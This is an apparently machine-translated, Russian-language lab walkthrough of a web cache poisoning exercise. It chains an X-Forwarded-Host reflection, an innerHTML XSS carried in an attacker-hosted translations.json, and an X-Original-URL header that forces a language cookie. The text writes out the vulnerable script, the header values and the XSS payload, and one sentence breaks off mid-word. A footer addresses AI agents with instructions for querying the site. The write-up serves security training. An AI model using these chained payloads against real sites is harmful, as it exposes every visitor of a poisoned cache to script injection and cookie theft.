> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/cache-poisoning/combination-of-web-cache-poisoning-vulnerabilities.md).

# Комбинация уязвимостей веб-отравления кэша

### Объединение уязвимостей отравления веб-кэша

Мы должны **отравить кэш домашней страницы** версией, которая выполняется **`alert(document.cookie)`** в браузере посетителя. Жертва передаёт `/` about **каждую минуту** и **язык жертвы — английский (`lang=en` cookie)**.

<figure><img src="/files/96fad2ab8c92efa3e08b60733cb26654c3febb2d" alt=""><figcaption></figcaption></figure>

### (1) Точка входа: клиентская функциональность перевода

На главной странице мы видим:

* Один `lang` cookie (например, `lang=es`) + `session=...`
* Скрипт перевода: **`/resources/js/translations.js`**

{% code overflow="wrap" %}

```http
Cookie: lang=es; session=3AJsSQlcvMWoyYAD7DAbxUISdsu1rIFg
```

{% endcode %}

```javascript
function initTranslations(jsonUrl)
{
    const lang = document.cookie.split(';')
        .map(c => c.trim().split('='))
        .filter(p => p[0] === 'lang')
        .map(p => p[1])
        .find(() => true);

    const translate = (dict, el) => {
        for (const k in dict) {
            if (el.innerHTML === k) {
                el.innerHTML = dict[k];
            } else {
                el.childNodes.forEach(el_ => translate(dict, el_));
            }
        }
    }

    fetch(jsonUrl)
        .then(r => r.json())
        .then(j => {
            const select = document.getElementById('lang-select');
            if (select) {
                for (const code in j) {
                    const name = j[code].name;
                    const el = document.createElement("option");
                    el.setAttribute("value", code);
                    el.innerText = name;
                    select.appendChild(el);
                    if (code === lang) {
                        select.selectedIndex = select.childElementCount - 1;
                    }
                }
            }

            lang in j && lang.toLowerCase() !== 'en' && j[lang].translations && translate(j[lang].translations, document.getElementsByClassName('maincontainer')[0]);
        });
}
```

Этот скрипт читает `lang` из cookie, затем делает `fetch()` к JSON:

```json
{
    "en": {
        "name": "Английский"
    },
    "es": {
        "name": "Испанский",
        "translations": {
            "Return to list": "Вернуться к списку",
            "View details": "Просмотреть подробности",
            "Description:": "Описание:"
        }
    },
    "cn": {
        "name": "Китайский",
        "translations": {
            "Return to list": "Вернуться к списку",
            "View details": "Просмотреть подробности",
            "Description:": "Описание:"
        }
    },
    "ar": {
        "name": "Арабский",
        "translations": {
            "Return to list": "Вернуться к списку",
            "View details": "Просмотреть подробности",
            "Description:": "Описание:"
        }
    },
    "en-gb": {
        "name": "Правильный английский",
        "translations": {
            "Return to list": "Откуда вы пришли",
            "View details": "Сделайте мне честь и изложите подробнее",
            "Description:": "Рассуждения по теме:"
        }
    },
    "ml": {
        "name": "Малаялам",
        "translations": {
            "Return to list": "Вернуться к списку",
            "View details": "Просмотреть подробности",
            "Description:": "Описание:"
        }
    },
    "hb": {
        "name": "Иврит",
        "translations": {
            "Return to list": "Вернуться к списку",
            "View details": "Просмотреть подробности",
            "Description:": "Описание:"
        }
    },
    "zl": {
        "name": "Залго",
        "translations": {
            "Return to list": "Вернуться к списку",
            "View details": "Просмотреть подробности",
            "Description:": "Описание:"
        }
    },
    "fn": {
        "name": "Финский",
        "translations": {
            "Return to list": "Вернуться к списку",
            "View details": "Просмотреть подробности",
            "Description:": "Описание:"
        }
    },
    "hw": {
        "name": "Гавайский",
        "translations": {
            "Return to list": "Вернуться к списку",
            "View details": "Просмотреть подробности",
            "Description:": "Описание:"
        }
    },
    "mm": {
        "name": "Бирманский",
        "translations": {
            "Return to list": "Вернуться к списку",
            "View details": "Просмотреть подробности",
            "Description:": "Описание:"
        }
    }
}
```

И `data.host` берётся из встроенного блока на главной странице:

```http
<script>
     data = {"host":"0acc008b046bd245809803b8002b0061.web-security-academy.net","path":"/"}
</script>
```

Затем скрипт применяет переводы, заменяя текст с помощью `innerHTML`, что важно, поскольку это может превратить перевод в \*\* HTML-инъекцию\*\*, если вы контролируете JSON.

### Уязвимость №1: манипуляция хостом через `X-Forwarded-Host`

Добавив следующий HTTP-заголовок

```http
X-Forwarded-Host: test.com
```

мы обнаруживаем, что значение отражается в `data.host`.

<figure><img src="/files/f435327ec4e7812a960a73ced67cc54d3ef5c80f" alt=""><figcaption></figcaption></figure>

```javascript
<script>
    initTranslations('//' + data.host + '/resources/json/translations.json');
</script>
```

<figure><img src="/files/19cc4e56c00700d3732008dd9840395f6d0701ad" alt=""><figcaption></figcaption></figure>

Таким образом, мы можем заставить браузер загрузить файл:

```bash
/resources/json/translations.json
```

### 3. Уязвимость №2: XSS через JSON-файл перевода

На сервере эксплойта мы размещаем поддельный `translations.json` содержащий XSS-инъекцию в переводе, например:

```json
{
    "en": {
        "name": "Английский"
    },
    "es": {
        "name": "Испанский",
        "translations": {
            "Return to list": "Привет",
            "View details": "></a><img src=0 onerror=alert(document.cookie)>",
            "Description:": "Описание:"
        }
    }
}
```

<figure><img src="/files/56f9623a2798cd14daef9df2a30f01dea20fbad5" alt=""><figcaption></figcaption></figure>

Затем мы используем:

```http
X-Forwarded-Host: exploit-0a19004104f2d29e80b40256011c00b0.exploit-server.net/
```

Главная страница, обслуживаемая из кэша, теперь будет указывать на наш вредоносный JSON-файл.

Содержимое перевода поэтому интерпретируется как HTML, что позволяет выполнить внедрённый JavaScript.

<figure><img src="/files/51c3b2d30587ed9b2a426ffd67d90876a14eb7ae" alt=""><figcaption></figcaption></figure>

### 4. Ограничение: жертва использует английский

Скрипт перевода выполняется только если:

* `lang !== 'en'`

Жертва изначально `lang=en`. / Даже если мы контролируем JSON-файл, \*\*l

Поэтому мы должны **усилить переход на испанский**.

### 5. Уязвимость №3: принудительная смена языка через `X-Original-URL`

<figure><img src="/files/00942af3f48ee3dc9e419bb889b29f2ca579ab3b" alt=""><figcaption></figcaption></figure>

Используя Param Miner, мы определяем уязвимый заголовок:

```http
X-Original-Url: /test
```

Мы отправляем ещё один запрос к `/` с:

* `X-Original-URL: /test` → `404 Не найдено`

<figure><img src="/files/cac497af3d1b9c960c84c406bb9d5498c939b589" alt=""><figcaption></figcaption></figure>

Кэш возвращает ответ, который задаёт `lang=es` для посетителей.

```http
X-Original-Url: /setlang/es
```

`X-Original-URL: /setlang/es` → `302 Found`

Этот путь:

* Устанавливает `lang=es` cookie
* Затем вернитесь на главную страницу

<figure><img src="/files/8ed232ee743f5c9a86c9751d8a6412f5484b32ab" alt=""><figcaption></figcaption></figure>

#### Выполнение полезной нагрузки у жертвы

1. Жертва посещает `/`
2. `lang` cookie переходит в `es`
3. Страница перезагружает `translations.json` файл с нашего сервера эксплойта
4. Вредоносный перевод внедряется в DOM
5. Браузер выполняет:

<figure><img src="/files/577d7c2ca7934f99c808a23b50dfab8de1ce9235" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/cache-poisoning/combination-of-web-cache-poisoning-vulnerabilities.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
